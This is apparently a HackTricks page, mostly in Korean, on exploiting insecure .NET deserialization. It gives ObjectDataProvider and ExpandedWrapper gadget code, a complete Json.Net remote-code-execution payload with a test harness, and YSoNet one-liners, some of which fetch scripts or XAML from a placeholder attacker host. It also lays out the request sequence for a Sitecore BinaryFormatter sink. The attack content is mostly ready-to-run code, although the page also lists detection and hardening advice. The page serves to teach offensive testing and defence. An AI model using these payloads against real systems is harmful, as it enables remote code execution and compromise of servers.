Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 글은 ObjectDataProvider 가젯이 어떻게 악용되어 RCE를 얻는지Json.Net 및 xmlSerializer 직렬화 라이브러리가 해당 가젯과 함께 어떻게 남용될 수 있는지를 이해하는 데 중점을 둡니다.

ObjectDataProvider Gadget

문서에 따르면: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
음, 설명이 애매하니 이 클래스의 어떤 점이 흥미로운지 살펴봅시다: 이 클래스는 **임의의 object를 래핑(wrap)**하고, _MethodParameters_를 사용해 임의의 파라미터를 설정하며, 그 다음 MethodName을 사용해 임의의 object에 선언된 임의의 함수를 호출할 수 있게 해줍니다.
따라서, 역직렬화되는 동안 임의의 object파라미터와 함께 함수실행하게 됩니다.

How is this possible

이 클래스는 PresentationFramework.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF에 있는 System.Windows.Data 네임스페이스에 정의되어 구현되어 있습니다.

dnSpy를 사용하면 우리가 관심 있는 클래스의 **코드를 검사(inspect)**할 수 있습니다. 아래 이미지에서는 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name의 코드를 보고 있습니다.

보시다시피 MethodName이 설정되면 base.Refresh()가 호출됩니다. 이것이 무엇을 하는지 살펴봅시다:

자, 이제 this.BeginQuery()가 무엇을 하는지 계속 보겠습니다. BeginQueryObjectDataProvider에서 재정의되며 다음과 같은 동작을 합니다:

코드의 끝에서 this.QueryWorke(null)를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 보겠습니다:

이것이 QueryWorker 함수의 전체 코드는 아니지만 흥미로운 부분을 보여줍니다: 코드가 this.InvokeMethodOnInstance(out ex);를 호출하고 있으며, 이 라인이 설정된 메서드가 호출되는 부분입니다.

단순히 _MethodName_을 설정하는 것만으로 해당 메서드가 실행되는지 확인하고 싶다면, 다음 코드를 실행해 볼 수 있습니다:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

이전 익스플로잇을 사용할 때, objectObjectDataProvider 인스턴스로 deserialized as 되는 경우가 있습니다 (예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체를 GetType으로 역직렬화한 경우). 그러면 ObjectDataProvider 인스턴스 안에 래핑된 객체의 타입(예: Process)에 대해 전혀 알지 못하게 됩니다. DotNetNuke 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다.

이 클래스는 특정 인스턴스에 캡슐화된 객체들의 타입을 s지정할 수 있도록 합니다. 따라서 이 클래스는 소스 객체 (ObjectDataProvider)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(ObjectDataProvider.MethodNameObjectDataProvider.MethodParameters)을 제공하는 데 사용할 수 있습니다.
앞에서 제시한 경우와 같이 이 방법은 매우 유용합니다. 왜냐하면 우리는 wrap _ObjectDataProvider** inside an **ExpandedWrapper _ 인스턴스할 수 있고, when deserialized 되었을 때 이 클래스는 OjectDataProvider 객체를 create 하여 _MethodName_에 지정된 functionexecute 하기 때문입니다.

You can check this wrapper with the following code:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

official web page에 따르면 이 라이브러리는 Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer를 지원한다고 명시되어 있다. 따라서 우리가 deserialize the ObjectDataProvider gadget할 수 있다면, 단순히 객체를 deserializing 하는 것만으로도 RCE를 일으킬 수 있다.

Json.Net 예제

먼저 이 라이브러리를 사용해 객체를 serialize/deserialize하는 방법의 예제를 보자:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net 악용

ysoserial.net을 사용해 익스플로잇을 만들었다:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

이 코드에서 test the exploit를 실행하면 calc가 실행되는 것을 확인할 수 있습니다:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

고급 .NET Gadget Chains (YSoNet & ysoserial.net)

위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 안전하지 않은 .NET deserialization을 수행할 때 악용될 수 있는 수많은 gadget chains 중 하나일 뿐입니다. 현대의 red-team 도구들인 YSoNet (그리고 구버전 ysoserial.net)은 수십 가지 gadget과 여러 serialization 포맷에 대해 즉시 사용 가능한 악성 객체 그래프를 자동으로 생성합니다.

아래는 YSoNet에 포함된 가장 유용한 체인들을 요약한 참고표로, 작동 방식에 대한 간단한 설명과 페이로드 생성 예시 명령을 함께 제공합니다.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateDelegateSerializationHolder 레코드를 손상시켜, 실체화되었을 때 delegate가 공격자가 제공한 어떤 메서드(예: Process.Start)를 가리키도록 만듭니다.BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorSystem.Workflow.ComponentModel.ActivitySurrogateSelector를 악용하여 .NET ≥4.8 타입 필터링을 우회하고 제공된 클래스의 생성자를 직접 호출하거나 C# 파일을 즉석에서 컴파일합니다.BinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourSystem.Data.DataSet레거시 XML 표현을 이용해 <ColumnMapping> / <DataType> 필드를 채워 임의 타입을 인스턴스화합니다(선택적으로 --spoofedAssembly로 어셈블리를 위조 가능).LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsWPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter들을 연쇄 호출해 System.CodeDom.Compiler.CompilerResults에 도달한 뒤, -c로 제공된 DLL을 컴파일하거나 로딩합니다.Json.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)WPF System.Windows.Data.ObjectDataProvider를 사용해 제어 가능한 인수로 임의의 정적 메서드를 호출합니다. YSoNet은 악성 XAML을 원격 호스팅하기 위한 편리한 --xamlurl 변형을 제공합니다.BinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)ScriptBlockSystem.Management.Automation.PSObject에 임베드하여 PowerShell이 객체를 deserialize할 때 실행되도록 합니다.PowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

모든 페이로드는 기본적으로 stdout으로 출력되므로, 이를 다른 도구(예: ViewState generators, base64 encoders, HTTP clients)로 파이프하기가 매우 간단합니다.

YSoNet 빌드 / 설치

만약 Actions ➜ Artifacts / Releases에서 사전 컴파일된 바이너리를 사용할 수 없다면, 다음 PowerShell 원라이너는 빌드 환경을 설정하고 리포지토리를 클론한 다음 모든 것을 Release 모드로 컴파일합니다:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

컴파일된 ysonet.exeysonet/bin/Release/에 있습니다.

탐지 및 강화

  • Detect w3wp.exe, PowerShell.exe 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스(e.g. MessagePack, Json.NET)의 예상치 못한 하위 프로세스를 감지합니다.
  • 레거시 BinaryFormatter / NetDataContractSerializer를 제거할 수 없는 경우에는 type-filtering을 활성화하고 강제 적용하세요 (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.).
  • 가능하면 화이트리스트 기반 컨버터를 사용하여 System.Text.Json 또는 **DataContractJsonSerializer**로 마이그레이션하세요.
  • 웹 프로세스에서 절대 필요하지 않은 경우 위험한 WPF 어셈블리(PresentationFramework, System.Workflow.*)가 로드되지 않도록 차단하세요.

실무 사례: Sitecore convertToRuntimeHtml → BinaryFormatter

인증된 Sitecore XP Content Editor 흐름에서 접근 가능한 실무용 .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string)new BinaryFormatter().Deserialize(...)를 래핑합니다.
  • Trigger path: 파이프라인 convertToRuntimeHtmlConvertWebControlsid="{iframeId}_inner"인 형제 요소를 검색하고 base64로 인코딩된 직렬화된 데이터로 처리되는 value 속성을 읽습니다. 그 결과는 string으로 캐스팅되어 HTML에 삽입됩니다.

최소 end‑to‑end (인증된):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: string을 반환하는 모든 BinaryFormatter 체인(부작용은 deserialization 중에 실행됩니다). YSoNet/ysoserial.net을 참조하여 payloads를 생성하세요.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

Sitecore

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기